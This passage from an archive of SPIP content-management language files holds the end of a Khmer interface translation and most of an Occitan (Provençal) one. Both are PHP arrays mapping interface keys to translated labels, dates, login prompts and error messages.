'texte_unpack' => 'ទំនាញយក កំណែចុងក្រោយ',
'texte_utilisation_moteur_syndiques' => 'នៅពេលដែលលោកអ្នកប្រើប្រាស់កម្មវិធីស្វែងរករួមរបស់ SPIP លោកអ្នកអាចស្វែងរកវ៉ិបសាយ និងអត្ថបទដែលបញ្ចូលតាមពីររបៀបផ្សេងគ្នា។ <br />- បៀបងាយបំផុតគឺត្រូវស្វែងរកតែចំណងជើង និងលក្ខណៈអត្ថបទតែប៉ុណ្ណោះ។ <br />- ទីពីរ ដែលមានប្រសិទ្ធភាពជាង វ៉ិធីនេះអនុញ្ញាតឱ្យ SPIP ស្វែងរកនៅក្នុងអត្ថបទនៃវ៉ិបសាយយោងផងដែរ។ ប្រសិនបើលោកអ្នកយោងទៅវ៉ិបសាយមួយSPIP និងស្វែងរកនៅក្នុងអត្ថបទរបស់វ៉ិបសាយខ្លួនវា។', # MODIF
'texte_utilisation_moteur_syndiques_2' => 'វិធីនេះជំរុញឱ្យ SPIP ចូលមើលកវ៉ិបសាយយោងជាទៀតទាត់ ដែលអាចនាំឱ្យមានការរអាក់រអួលនៅក្នុងការអនុវត្ដន៍នៃវ៉ិបសាយផ្ទាល់របស់លោកអ្នក។',
'texte_vide' => 'ទទេ',
'texte_vider_cache' => 'លុបសំអាត សតិភ្ជាប់',
'titre_admin_effacer' => 'តំហែទាំ បច្ចេកទេស',
'titre_admin_tech' => 'តំហែទាំ បច្ចេកទេស',
'titre_admin_vider' => 'តំហែទាំ បច្ចេកទេស',
'titre_cadre_afficher_article' => 'បង្ហាញ អត្ថបទ៖',
'titre_cadre_afficher_traductions' => 'បង្ហាញ ស្ថានភាពប្រែសំរួល សំរាប់ ភាសាខាងក្រោម ៖',
'titre_cadre_ajouter_auteur' => 'បន្ថែមអ្នកសរសេរកម្មវិធី',
'titre_cadre_interieur_rubrique' => 'នៅក្នុងផ្នែក',
'titre_cadre_numero_auteur' => 'អ្នកសរសេរកម្មវិធីលេខ',
'titre_cadre_signature_obligatoire' => '<b>Signature</b> [ចាំបាច់]<br />',
'titre_config_contenu_public' => 'លើ សៃថ៍សាធារណះ',
'titre_config_fonctions' => 'ការកំណត់ទំរង់ សៃថ៍',
'titre_configuration' => 'ការកំណត់ទំរង់ សៃថ៍',
'titre_connexion_ldap' => 'ជម្រើស <b>Your LDAP បណ្ដាញ</b>',
'titre_groupe_mots' => 'ក្រុមពាក្យគន្លឹះៈ',
'titre_langue_article' => 'ភាសារបស់អត្ថបទ', # MODIF
'titre_langue_rubrique' => 'ភាសា ក្នុងផ្នែក', # MODIF
'titre_langue_trad_article' => 'ភាសា និងការបកប្រែអត្ថបទ',
'titre_les_articles' => 'អត្ថបទ',
'titre_naviguer_dans_le_site' => 'ត្រាច់ចរ ក្នុងសៃថ៍...',
'titre_nouvelle_rubrique' => 'ផ្នែកថ្មី',
'titre_numero_rubrique' => 'លេខផ្នែកៈ',
'titre_page_admin_effacer' => 'តំហែទាំ បច្ចេកទេស៖ ការលុបចេញ មូលដ្ឋានទិន្នន័យ',
'titre_page_articles_edit' => 'កែប្រែ ៖ @titre@',
'titre_page_articles_page' => 'អត្ថបទ',
'titre_page_articles_tous' => 'សៃថ៍ ទាំងមូល',
'titre_page_auteurs' => 'ពួកទស្សនាករ',
'titre_page_calendrier' => 'ប្រតិទិន @nom_mois@ @annee@',
'titre_page_config_contenu' => 'ការកំណត់ទំរង់ សៃថ៍',
'titre_page_config_fonctions' => 'ការកំណត់ទំរង់ សៃថ៍',
'titre_page_configuration' => 'ការកំណត់ទំរង់ នៃសៃថ៍',
'titre_page_controle_petition' => 'ការតាមដានបដ្ឋនាលិខិត',
'titre_page_delete_all' => 'ការលុបចោលទាំងស្រុង និងមិនអាចបដិសេធវិញបាន',
'titre_page_documents_liste' => 'ឯកសារភ្ជាប់',
'titre_page_index' => 'តំបន់ឯកជនរបស់លោកអ្នក',
'titre_page_message_edit' => 'តែង មួយសារ',
'titre_page_messagerie' => 'បញ្ញើសារ របស់អ្នក',
'titre_page_recherche' => 'លទ្ធផលនៃការស្វែងរក @recherche@',
'titre_page_statistiques_referers' => 'ស្ថិតិ (ទំនាក់ទំនងចូល)',
'titre_page_upgrade' => 'ការកែលំអSPIP',
'titre_publication_articles_post_dates' => 'ការចុះផ្សាយអត្ថបទដែលចុះកាលបរិច្ឆេទយឺត',
'titre_referencer_site' => 'យោង សៃថ៍៖',
'titre_rendez_vous' => 'ការកំណត់ឈ្មោះៈ',
'titre_reparation' => 'ជួសជុល',
'titre_suivi_petition' => 'ការតាមដានបដ្ឋនាលិខិត',
'tls_ldap' => 'សុវត្ថិភាពគាំទ្រការជញ្ជូន (Transport Layer Security)ៈ',
'trad_article_inexistant' => 'គ្មានអត្ថបទដែលមានលេខនេះទេ',
'trad_article_traduction' => 'គ្រប់កំណែ នៃអត្ថបទនេះ ៖',
'trad_deja_traduit' => 'កំហុស ៖ មិនអាចភ្ជាប់អត្ថបទនេះទៅលេខដែលស្នើទេ។',
'trad_delier' => 'ឈប់ភ្ជាប់អត្ថបទនេះទៅអត្ថបទបកប្រែរបស់វា។', # MODIF
'trad_lier' => 'អត្ថបទនេះគឺជាអត្ថបទបកប្រែដែលមានលេខៈ',
'trad_new' => 'សរសេរអត្ថបទបកប្រែថ្មីនៃអត្ថបទនេះ', # MODIF
// U
'utf8_convert_attendez' => 'រង់ចាំមួយសន្ទុះ និង ផ្ទុកឡើងម្តងទៀត ទំព័រនេះ។',
'utf8_convert_avertissement' => 'អ្នកត្រៀមបំលែង ខ្លឹមសារ នៃឃ្លាំងទិន្នន័យ របស់អ្នក (អត្ថបទ, ពត៌មានសង្ខេប, ល។) ពីកញ្ចប់អក្សរ <b>@orig@</b> ទៅកញ្ចប់អក្សរ <b>@charset@</b>។',
'utf8_convert_backup' => 'កុំភ្លេចជាមុន បង្កើត មួយច្បាប់ចំលងតាំងមូល នៃសៃថ៍ របស់អ្នក។ អ្នកត្រូវតែផងដែរ ផ្ទៀងផ្ទាត់ភាពសមស្រប រវាង គ្រោងឆ្អឹង និង សំណុំឯកសារភាសា របស់អ្នក @charset@។',
'utf8_convert_erreur_deja' => 'សៃថ៍ របស់អ្នក នៅជា @charset@, គ្មានប្រយោជ ដើម្បីបំលែងវា...',
'utf8_convert_erreur_orig' => 'កំហុស ៖ មិនគាំទ្រ កញ្ចប់អក្សរ @charset@។',
'utf8_convert_termine' => 'ចប់សព្វគ្រប់!',
'utf8_convert_timeout' => '<b>សំខាន់ ៖</b> ករណី <i>អស់ពេល</i> នៃខំព្យូរើបំរើសេវា, សូមផ្ទុកឡើងម្ដងទៀត ទំព័រ លុះត្រាវាបង្ហាញ «បានចប់!»។',
'utf8_convert_verifier' => 'ពេលនេះ អ្នកត្រូវតែសំអាត សតិភ្ជាប់, និងផ្ទៀងផ្ទាត់ អោយឃើញថា ដំណើរបានល្អ លើទំព័រសាធារណៈនៃសៃថ៍។ ករណី មានបញ្ហាធ្ងន់ធ្ងរ, ច្បាប់ចំលងទិន្នន័យ របស់អ្នក ត្រូវបានតំលើង (ជាទ្រង់ទ្រាយ SQL) ក្នុងថតឯកសារ @rep@។',
'utf8_convertir_votre_site' => 'បំលែង សៃថ៍ របស់អ្នក ជា utf-8',
// V
'version' => 'កំណែ ៖'
);
?>
spip_oc_prv.php 0000666 00000076547 15252547432 0007640 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/spip?lang_cible=oc_prv
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// 0
'0_URL' => 'http://listes.rezo.net/mailman/listinfo/spip-dev',
'0_langue' => 'occitan (provençau) [oc_prv]',
'0_liste' => 'lenga.occitana@aprene.org',
'0_mainteneur' => 'Domergue Sumien: lenga.occitana@aprene.org',
// A
'access_interface_graphique' => 'Tornar a l’interfàcia grafica completa',
'access_mode_texte' => 'Afichar l’interfàcia textuala simplificada',
'admin_debug' => 'desbugatge',
'admin_modifier_article' => 'Modificar aquel article',
'admin_modifier_auteur' => 'Modificar aquel autor',
'admin_modifier_breve' => 'Modificar aquela brèva',
'admin_modifier_mot' => 'Modificar aqueu mot clau',
'admin_modifier_rubrique' => 'Modificar aquela rubrica',
'admin_recalculer' => 'Tornar calcular la pagina',
'alerte_maj_impossible' => '<b>Alèrta!</b> Es impossible d’actualizar la basa SQL vèrs la version @version@; benlèu i a un problèma relatiu au drech de modificar la basa de donadas. Vougatz contactar vòstre aubergador.',
'analyse_xml' => 'Analisi XML',
'articles_recents' => 'Leis articles mai recents',
'avis_archive_incorrect' => 'lo fichier archiu es pas un fichier SPIP',
'avis_archive_invalide' => 'lo fichier archiu es pas valid',
'avis_attention' => 'ATENCION!',
'avis_champ_incorrect_type_objet' => 'Nom de camp incorrècte @name@ per objècte de tipe @type@',
'avis_colonne_inexistante' => 'La colomna @col@ existís pas',
'avis_erreur' => 'Error: vejatz çai sota',
'avis_erreur_connexion' => 'Error de connexion',
'avis_erreur_cookie' => 'problèma de cookie',
'avis_erreur_fonction_contexte' => 'Error de programacion. Cau pas apelar aquela foncion dins aqueu contèxt.',
'avis_erreur_mysql' => 'Error SQL ',
'avis_erreur_sauvegarde' => 'Error dins la sauvagarda (@type@ @id_objet@)! ',
// B
'barre_a_accent_grave' => 'Inserir una A accent grèu majuscula',
'barre_aide' => 'Utilizar leis acorchas tipograficas per enriquir vòstra compaginacion',
'barre_e_accent_aigu' => 'Inserir una E accent agut majuscula',
'barre_eo' => 'Inserir una E dins l’O',
'barre_eo_maj' => 'Inserir una E dins l’O majuscula',
'barre_euro' => 'Inserir lo simbèu de l’èuro: €',
'barre_gras' => 'Metre en {{gras}}',
'barre_guillemets' => 'Enrodar amb de « verguetas »',
'barre_guillemets_simples' => 'Enrodar amb de „verguetas“',
'barre_intertitre' => 'Transformar en {{{intertítol}}}',
'barre_italic' => 'Metre en {italics}',
'barre_lien' => 'Transformar en [liame ipertèxt->http://...]',
'barre_lien_input' => 'Vougatz indicar l’adreiça de vòstre liame (podètz indicar una adreiça web sota la forma http://www.lomieusit.com o simplament indicar lo numèro d’un article d’aqueu sit).',
'barre_note' => 'Transformar en [[Nòta de pè]]',
'barre_quote' => '<quote>Citar un messatge</quote>',
'bouton_changer' => 'Cambiar',
'bouton_chercher' => 'Cercar',
'bouton_choisir' => 'Chausir',
'bouton_enregistrer' => 'Registrar',
'bouton_radio_desactiver_messagerie_interne' => 'Desactivar la messatjariá intèrna',
'bouton_radio_envoi_annonces' => 'Mandar leis anoncis editoriaus',
'bouton_radio_non_envoi_annonces' => 'Pas mandar d’anoncis',
'bouton_radio_non_envoi_liste_nouveautes' => 'Pas mandar la tiera dei novetats',
'bouton_recharger_page' => 'tornar cargar aquela pagina',
'bouton_telecharger' => 'Telecargar',
'bouton_upload' => 'Telecargar', # MODIF
'bouton_valider' => 'Validar',
// C
'cal_apresmidi' => 'tantòst',
'cal_jour_entier' => 'jorn entier',
'cal_matin' => 'matin',
'cal_par_jour' => 'calendier per jorn',
'cal_par_mois' => 'calendier per mes',
'cal_par_semaine' => 'calendier per setmana',
'confirm_changer_statut' => 'Atencion, avètz demandat de cambiar l’estatut d’aquel element. Desiratz de contunhar? ',
// D
'date_aujourdhui' => 'uei',
'date_avant_jc' => 'avans lo Crist',
'date_dans' => 'd’aquí @delai@',
'date_de_mois_1' => '@j@ de genier',
'date_de_mois_10' => '@j@ d’octòbre',
'date_de_mois_11' => '@j@ de novembre',
'date_de_mois_12' => '@j@ de decembre',
'date_de_mois_2' => '@j@ de febrier',
'date_de_mois_3' => '@j@ de març',
'date_de_mois_4' => '@j@ d’abriu',
'date_de_mois_5' => '@j@ de mai',
'date_de_mois_6' => '@j@ de junh',
'date_de_mois_7' => '@j@ de julh',
'date_de_mois_8' => '@j@ d’aost',
'date_de_mois_9' => '@j@ de setembre',
'date_demain' => 'deman',
'date_fmt_heures_minutes' => '@h@h@m@min',
'date_fmt_jour_heure' => '@jour@ a @heure@',
'date_fmt_jour_mois' => '@jourmois@',
'date_fmt_jour_mois_annee' => '@jourmois@ de @annee@',
'date_fmt_mois_annee' => '@nommois@ de @annee@',
'date_fmt_nomjour_date' => 'lo @nomjour@ @date@',
'date_heures' => 'oras',
'date_hier' => 'ièr',
'date_il_y_a' => 'fa @delai@',
'date_jnum1' => '1r',
'date_jnum10' => '10',
'date_jnum11' => '11',
'date_jnum12' => '12',
'date_jnum13' => '13',
'date_jnum14' => '14',
'date_jnum15' => '15',
'date_jnum16' => '16',
'date_jnum17' => '17',
'date_jnum18' => '18',
'date_jnum19' => '19',
'date_jnum2' => '2',
'date_jnum20' => '20',
'date_jnum21' => '21',
'date_jnum22' => '22',
'date_jnum23' => '23',
'date_jnum24' => '24',
'date_jnum25' => '25',
'date_jnum26' => '26',
'date_jnum27' => '27',
'date_jnum28' => '28',
'date_jnum29' => '29',
'date_jnum3' => '3',
'date_jnum30' => '30',
'date_jnum31' => '31',
'date_jnum4' => '4',
'date_jnum5' => '5',
'date_jnum6' => '6',
'date_jnum7' => '7',
'date_jnum8' => '8',
'date_jnum9' => '9',
'date_jour_1' => 'dimenge',
'date_jour_2' => 'diluns',
'date_jour_3' => 'dimars',
'date_jour_4' => 'dimècres',
'date_jour_5' => 'dijòus',
'date_jour_6' => 'divendres',
'date_jour_7' => 'dissabte',
'date_jours' => 'jorns',
'date_minutes' => 'minutas',
'date_mois' => 'mes',
'date_mois_1' => 'genier',
'date_mois_10' => 'octòbre',
'date_mois_11' => 'novembre',
'date_mois_12' => 'decembre',
'date_mois_2' => 'febrier',
'date_mois_3' => 'març',
'date_mois_4' => 'abriu',
'date_mois_5' => 'mai',
'date_mois_6' => 'junh',
'date_mois_7' => 'julh',
'date_mois_8' => 'aost',
'date_mois_9' => 'setembre',
'date_saison_1' => 'ivèrn',
'date_saison_2' => 'prima',
'date_saison_3' => 'estiu',
'date_saison_4' => 'auton',
'date_semaines' => 'setmana(s)',
'dirs_commencer' => 'per començar vertadierament l’installacion',
'dirs_preliminaire' => 'Preliminar: <b>Reglar lei drechs d’accès</b>',
'dirs_probleme_droits' => 'Problèma de drechs d’accès',
'dirs_repertoires_absents' => '<b>S’es pas trobat lei repertòris seguents: <ul>@bad_dirs@.</ul> </b>
<p>Se pòt que venga d’un problèma de majusculas o minusculas mau mesas.
Verificatz que lei minusculas e majusculas d’aquelei repertòris correspòndan ben amb çò afichat
çai subre; s’es pas lo cas, tornatz nommar lei repertòris amb vòstre logiciau FTP en corregissent l’error.
<p>Un còp qu’auretz fach aquò, poiretz ',
'dirs_repertoires_suivants' => '<b>Lei repertòris seguents son pas accessibles en escritura: <ul>@bad_dirs@.</ul> </b>
<p>Per adobar aquò, utilizatz vòstre client FTP per fin de reglar lei drechs d’accès de cadun
d’aquelei repertòris. La guida d’installacion explica en detalh coma cau procedir.
</p><p>Tre qu’auretz facha aquela manipulacion, poiretz </p>',
// E
'envoi_via_le_site' => 'Mandadís amb lo biais dau sit web',
// F
'fichier_introuvable' => 'S’es pas pogut trobar lo fichier @fichier@.',
'form_deja_inscrit' => 'Siatz ja inscrich(a).',
'form_email_non_valide' => 'Vòstra adreiça e-mail es pas valida.',
'form_forum_access_refuse' => 'Podètz pus accedir a aqueu sit.',
'form_forum_bonjour' => 'Bonjorn @nom@,',
'form_forum_email_deja_enregistre' => 'Aquela adreiça e-mail ja es registrada, adoncas podètz utilizar vòstre mot de santa Clara costumier.',
'form_forum_identifiant_mail' => 'Vos avèm mandat vòstre identificant novèu per e-mail.',
'form_forum_identifiants' => 'Identificants personaus',
'form_forum_indiquer_nom_email' => 'Indicatz aquí vòstre nom e vòstra adreiça e-mail. Vòstre identificant personau arribarà lèu-lèu, per e-mail.',
'form_forum_login' => 'login:',
'form_forum_message_auto' => '(aquò’s un messatge automatic)',
'form_forum_pass' => 'mot de santa Clara:',
'form_forum_probleme_mail' => 'Problèma d’e-mail: se pòt pas mandar l’identificant.',
'form_forum_voici1' => 'Vaicí vòstreis identificants per poder participar ai forums
dau sit "@nom_site_spip@" (@adresse_site@):',
'form_forum_voici2' => 'Vaquí vòstreis identificants per prepausar d’articles
sus lo sit "@nom_site_spip@" (@adresse_login@):',
'form_indiquer_email' => 'Vougatz indicar vòstra adreiça e-mail.',
'form_indiquer_nom' => 'Vougatz indicar vòstre nom.',
'form_indiquer_nom_site' => 'Vougatz indicar lo nom de vòstre sit.',
'form_pet_deja_enregistre' => 'Ja aqueu sit es registrat',
'form_pet_signature_pasprise' => 'Vòstra signatura es pas presa en còmpte.',
'form_prop_confirmer_envoi' => 'Confirmar lo mandadís',
'form_prop_description' => 'Descripcion/comentari',
'form_prop_enregistre' => 'Vòstra proposicion es ben registrada, apareisserà en linha tre que lei responsables dau sit l’auràn validada.',
'form_prop_envoyer' => 'Mandar un messatge',
'form_prop_indiquer_email' => 'Vougatz indicar una adreiça e-mail valida',
'form_prop_indiquer_nom_site' => 'Vougatz indicar lo nom dau sit.',
'form_prop_indiquer_sujet' => 'Vougatz indicar un subjècte',
'form_prop_message_envoye' => 'Messatge mandat',
'form_prop_non_enregistre' => 'Vòstra proposicion es pas estada registrada.',
'form_prop_sujet' => 'Subjècte',
'form_prop_url_site' => 'Adreiça (URL) dau sit', # MODIF
'forum_non_inscrit' => 'Siá siatz pas inscrich(a), siá avètz fach una error d’adreiça o de mot de santa Clara. ',
'forum_par_auteur' => 'per @auteur@',
'forum_titre_erreur' => 'Error...',
// I
'ical_texte_rss_articles' => 'Lo fichier "backend" deis articles d’aquest sit se tròba a l’adreiça:',
'ical_texte_rss_articles2' => 'Atanben podètz obtenir de fichiers "backend" per leis articles de cada rubrica dau sit:',
'ical_texte_rss_breves' => 'Existisson mai d’un fichier contenent lei brèvas dau sit. En precisant un numèro de rubrica, obtendretz ren que lei brèvas de la rubrica aquela.',
'icone_a_suivre' => 'De seguir',
'icone_admin_site' => 'Administracion dau sit',
'icone_agenda' => 'Agenda',
'icone_aide_ligne' => 'Ajuda',
'icone_articles' => 'Articles',
'icone_auteurs' => 'Autors',
'icone_brouteur' => 'Navigacion rapida',
'icone_configuration_site' => 'Configuracion',
'icone_configurer_site' => 'Configurar vòstre sit',
'icone_creer_nouvel_auteur' => 'Crear un autor nòu ',
'icone_creer_rubrique' => 'Crear una rubrica',
'icone_creer_sous_rubrique' => 'Crear una sosrubrica',
'icone_deconnecter' => 'Se desconnectar',
'icone_discussions' => 'Discussions',
'icone_doc_rubrique' => 'Documents dei rubricas',
'icone_ecrire_article' => 'Escriure un article nòu',
'icone_edition_site' => 'Edicion',
'icone_gestion_langues' => 'Gestion dei lengas',
'icone_informations_personnelles' => 'Informacions personalas',
'icone_interface_complet' => 'Interfàcia completa',
'icone_interface_simple' => 'Interfàcia simplificada',
'icone_maintenance_site' => 'Mantenença dau sit',
'icone_messagerie_personnelle' => 'Messatjariá personala',
'icone_repartition_debut' => 'Afichar la reparticion dempuei la començança',
'icone_rubriques' => 'Rubricas',
'icone_sauver_site' => 'Sauvagarda dau sit',
'icone_site_entier' => 'Tot lo sit ',
'icone_sites_references' => 'Sits referenciats',
'icone_statistiques' => 'Estadisticas dau sit',
'icone_suivi_activite' => 'Seguir la vida dau sit',
'icone_suivi_actualite' => 'Evolucion dau sit',
'icone_suivi_pettions' => 'Seguir/gerir lei peticions',
'icone_suivi_revisions' => 'Modificacions deis articles',
'icone_supprimer_document' => 'Suprimir aqueu document',
'icone_supprimer_image' => 'Suprimir aquel imatge',
'icone_tous_articles' => 'Totei vòstreis articles ',
'icone_tous_auteur' => 'Totei leis autors ',
'icone_visiter_site' => 'Vesitar', # MODIF
'icone_voir_en_ligne' => 'Veire en linha',
'img_indisponible' => 'imatge indisponible',
'impossible' => 'impossible',
'info_a_suivre' => 'DE SEGUIR>>',
'info_acces_interdit' => 'Accès proïbit',
'info_acces_refuse' => 'Accès refusat',
'info_action' => 'Accion: @action@',
'info_administrer_rubriques' => 'Podètz administrar aquela rubrica e sei sosrubricas',
'info_adresse_non_indiquee' => 'Avètz pas indicat l’adreiça de testar!',
'info_aide' => 'AJUDA:',
'info_ajouter_mot' => 'Apondre aqueu mot',
'info_annonce' => 'ANONCI',
'info_annonces_generales' => 'Anoncis generaus:',
'info_article_propose' => 'Article prepausat',
'info_article_publie' => 'Article publicat',
'info_article_redaction' => 'Article en cors de redaccion',
'info_article_refuse' => 'Article refusat',
'info_article_supprime' => 'Article suprimit',
'info_articles' => 'Articles',
'info_articles_a_valider' => 'Los articles de validar',
'info_articles_proposes' => 'Articles prepausats',
'info_auteurs_nombre' => 'autor(s)',
'info_authentification_ftp' => 'autentificacion (per FTP).',
'info_breves_2' => 'brèvas',
'info_connexion_refusee' => 'Connexion refusada',
'info_contact_developpeur' => 'Vougatz contactar un desvolopaire.',
'info_contenance' => 'Aqueu sit conten:',
'info_contribution' => 'Contribucions de forum', # MODIF
'info_copyright' => '@spip@ es un logiciau liure distribuit @lien_gpl@.',
'info_copyright_doc' => 'Per mai d’informacions, veire lo sit <a href="@spipnet@">http://www.spip.net/oc</a>.', # MODIF
'info_copyright_gpl' => 'sota licéncia GPL',
'info_cours_edition' => 'Vòstreis articles en cors de redaccion',
'info_creer_repertoire' => 'Vougatz crear un fichier o un repertòri nommat',
'info_creer_repertoire_2' => 'dintre lo sosrepertòri <b>@repertoire@</b>, puei:',
'info_creer_vignette' => 'creacion automatica de la vinheta',
'info_deplier' => 'Desplegar',
'info_descriptif_nombre' => 'descriptiu(s):',
'info_description' => 'Descripcion:',
'info_description_2' => 'Descripcion:',
'info_dimension' => 'Dimensions:',
'info_ecire_message_prive' => 'Escriure un messatge privat',
'info_email_invalide' => 'Adreiça e-mail invalida',
'info_en_cours_validation' => 'Vòstreis articles en cors de redaccion',
'info_en_ligne' => 'Ara en linha:',
'info_envoyer_message_prive' => 'Mandar un messatge privat a aquel autor',
'info_erreur_requete' => 'Error dins la requista',
'info_erreur_squelette2' => 'Ges d’esqueleta <b>@fichier@</b> es disponibla...',
'info_erreur_systeme' => 'Error sistèma (errno @errsys@)',
'info_erreur_systeme2' => 'Lo disc dur es benlèu plen, o la basa de donadas degalhada.<br />
<span style="color:red;">Assajatz de <a href=\'@script@\'>reparar la basa</a>, o contactatz vòstre aubergador.</span>',
'info_fini' => 'Es acabat!',
'info_format_image' => 'Formats d’imatges que se pòdon utilizar per crear de vinhetas: @gd_formats@.',
'info_format_non_defini' => 'format non definit',
'info_grand_ecran' => 'Ecran grand',
'info_image_aide' => 'AJUDA',
'info_image_process_titre' => 'Metòde de fabricacion dei vinhetas',
'info_impossible_lire_page' => '<b>Error!</b> Impossible de legir la pagina <tt><html>@test_proxy@</html></tt> a travèrs dau proxy <tt>',
'info_installation_systeme_publication' => 'Installacion dau sistèma de publicacion...',
'info_installer_documents' => 'Podètz installar automaticament totei lei documents contenguts dins lo repertòri @upload@.',
'info_installer_ftp' => 'Coma administrator, podètz installar (per FTP) de fichiers dins lo dorsier @upload@, puei lei seleccionar directament aicí.',
'info_installer_images' => 'Podètz installar d’imatges ai formats JPEG, GIF e PNG.',
'info_installer_images_dossier' => 'Installar d’imatges dins lo dorsier @upload@ per lei poder seleccionar aicí.',
'info_interface_complete' => 'Interfàcia completa',
'info_interface_simple' => 'Interfàcia simplificada',
'info_joindre_document_article' => 'Podètz jónher a aquel article de documents de la mena de',
'info_joindre_document_rubrique' => 'Podètz apondre a aquela rubrica de documents de la mena de',
'info_joindre_documents_article' => 'Podètz jónher a aquel article de documents de la mena de:',
'info_l_article' => 'l’article',
'info_la_breve' => 'la brèva',
'info_la_rubrique' => 'la rubrica',
'info_langue_principale' => 'Lenga majorala dau sit',
'info_largeur_vignette' => '@largeur_vignette@ x @hauteur_vignette@ pixèls',
'info_les_auteurs_1' => 'per @les_auteurs@ ',
'info_logo_format_interdit' => 'Lei lògos de formats @formats@ son sols autorizats.',
'info_logo_max_poids' => 'Lei lògos an de far mens de @maxi@ (aquest fichier fa @actuel@).',
'info_mail_fournisseur' => 'vos@fornidor.com',
'info_message_2' => 'MESSATGE',
'info_message_supprime' => 'MESSATGE SUPRIMIT',
'info_mise_en_ligne' => 'Data de mesa en linha:',
'info_modification_parametres_securite' => 'modificacions dei paramètres de seguretat',
'info_mois_courant' => 'Dins lo corrent dau mes:',
'info_mot_cle_ajoute' => 'S’es apondut lo mot clau seguent a',
'info_multi_herit' => 'Lenga predefinida',
'info_multi_langues_soulignees' => 'Lei <u>lengas solinhadas</u> benefícian d’una revirada de totei lei tèxts de l’interfàcia. Se seleccionatz aquelei lengas, fòrça elements dau sit public (datas, formularis) se reviraràn automaticament. Per lei lengas non solinhadas, aqueleis elements apareisseràn dins la lenga principala dau sit.', # MODIF
'info_multilinguisme' => 'Multilingüisme',
'info_nom_non_utilisateurs_connectes' => 'Vòstre nom apareis pas dins la tiera deis utilizaires connectats.',
'info_nom_utilisateurs_connectes' => 'Vòstre nom apareis dins la tiera deis utilizaires connectats.',
'info_nombre_en_ligne' => 'Ara en linha:',
'info_non_resultat' => 'Ges de resultat per "@cherche_mot@"',
'info_non_utilisation_messagerie' => 'Utilizatz pas la messatjariá intèrna d’aqueu sit.',
'info_nouveau_message' => 'AVÈTZ UN MESSATGE NÒU',
'info_nouveaux_messages' => 'AVÈTZ @total_messages@ MESSATGES NÒUS',
'info_numero_abbreviation' => 'N° ',
'info_pense_bete' => 'MEMENTO',
'info_petit_ecran' => 'Ecran pichòt ',
'info_pixels' => 'pixèls',
'info_plusieurs_mots_trouves' => 'Mai d’un mot clau trobat per "@cherche_mot@":',
'info_portfolio_automatique' => 'Pòrtfòlio automatic:',
'info_premier_resultat' => '[@debut_limit@ primiers resultats de @total@]',
'info_premier_resultat_sur' => '[@debut_limit@ primiers resultats de @total@]',
'info_propose_1' => '[@nom_site_spip@] Prepausa: @titre@',
'info_propose_2' => 'Article prepausat
---------------',
'info_propose_3' => 'L’article "@titre@" es prepausat a la publicacion.',
'info_propose_4' => 'Vos convidam a lo venir consultar e a bailar vòstre vejaire',
'info_propose_5' => 'dins lo forum que li es estacat. Es disponible a l’adreiça:',
'info_publie_01' => 'L’article "@titre@" es estat validat per @connect_nom@.',
'info_publie_1' => '[@nom_site_spip@] PUBLICA: @titre@',
'info_publie_2' => 'Article publicat
--------------',
'info_rechercher' => 'Cercar',
'info_rechercher_02' => 'Cercar:',
'info_remplacer_vignette' => 'Remplaçar la vinheta predefinida per un lògo personalizat:',
'info_sans_titre_2' => 'sensa títol',
'info_selectionner_fichier' => 'Podètz seleccionar un fichier dau dorsier @upload@',
'info_selectionner_fichier_2' => 'Seleccionar un fichier:',
'info_supprimer_vignette' => 'suprimir la vinheta',
'info_symbole_bleu' => 'Lo simbèu <b>blau</b> marca un <b>memento</b>: valent a dire un messatge per vòstre usatge personau.',
'info_symbole_jaune' => 'Lo simbèu <b>jaune</b> marca un <b>anonci per totei lei redactors </b>: leis administrators lo pòdon modificar, cada redactor lo pòt veire.',
'info_symbole_vert' => 'Lo simbèu <b>verd</b> marca lei <b>messatges escambiats amb d’autreis utilizaires</b> dau sit.',
'info_telecharger_nouveau_logo' => 'Telecargar un lògo nòu:',
'info_telecharger_ordinateur' => 'Telecargar a partir de vòstre ordenador:',
'info_tous_resultats_enregistres' => '[totei lei resultats son registrats]',
'info_tout_afficher' => 'Afichar tot',
'info_travaux_texte' => 'Aqueu sit es pas encara configurat. Tornatz mai tard...',
'info_travaux_titre' => 'Sit en òbras',
'info_trop_resultat' => 'Tròp de resultats per "@cherche_mot@"; vougatz afinar la cèrca.',
'info_utilisation_messagerie_interne' => 'Utilizatz la messatjariá intèrna d’aqueu sit.',
'info_valider_lien' => 'validar aqueu liame',
'info_verifier_image' => ', vougatz verificar que leis imatges se sigan ben transferits.',
'info_vignette_defaut' => 'Vinheta predefinida',
'info_vignette_personnalisee' => 'Vinheta personalizada',
'info_visite' => 'vesita:',
'info_vos_rendez_vous' => 'Vòstrei rendètz-vos venents',
'infos_vos_pense_bete' => 'Vòstrei mementos', # MODIF
// L
'lien_afficher_icones_seuls' => 'Afichar ren que leis icònas ',
'lien_afficher_texte_icones' => 'Afichar leis icònas e lo tèxt',
'lien_afficher_texte_seul' => 'Afichar ren que lo tèxt ',
'lien_liberer' => 'liberar',
'lien_liberer_tous' => 'liberar aqueleis articles', # MODIF
'lien_nouvea_pense_bete' => 'MEMENTO NÒU',
'lien_nouveau_message' => 'MESSATGE NÒU',
'lien_nouvelle_annonce' => 'ANONCI NOVÈU',
'lien_petitions' => 'PETICION',
'lien_popularite' => 'popularitat: @popularite@%',
'lien_racine_site' => 'RAIÇ DAU SIT',
'lien_reessayer' => 'tornar assajar',
'lien_repondre_message' => 'Respòndre a aqueu messatge',
'lien_supprimer' => 'suprimir',
'lien_tout_afficher' => 'Afichar tot',
'lien_visite_site' => 'vesitar aqueu sit',
'lien_visites' => '@visites@ vesitas',
'lien_voir_auteur' => 'Veire aquel autor',
'login_acces_prive' => 'accès a l’espaci privat',
'login_autre_identifiant' => 'se connectar amb un autre identificant',
'login_cookie_accepte' => 'Vougatz configurar vòstre navigador per que leis accèpte (aumens per aqueu sit).',
'login_cookie_oblige' => 'Per vos identificar d’un biais segur sus aquest sit, vos cau acceptar lei cookies.',
'login_deconnexion_ok' => 'Siatz desconnectat/ada.',
'login_erreur_pass' => 'Error de mot de santa Clara.',
'login_espace_prive' => 'espaci privat',
'login_identifiant_inconnu' => 'L’identificant «@login@» es inconegut.',
'login_login' => 'Login:',
'login_login2' => 'Login (identificant de connexion au sit):', # MODIF
'login_login_pass_incorrect' => '(Login o mot de santa Clara incorrècte.)',
'login_motpasseoublie' => 'mot de santa Clara oblidat?',
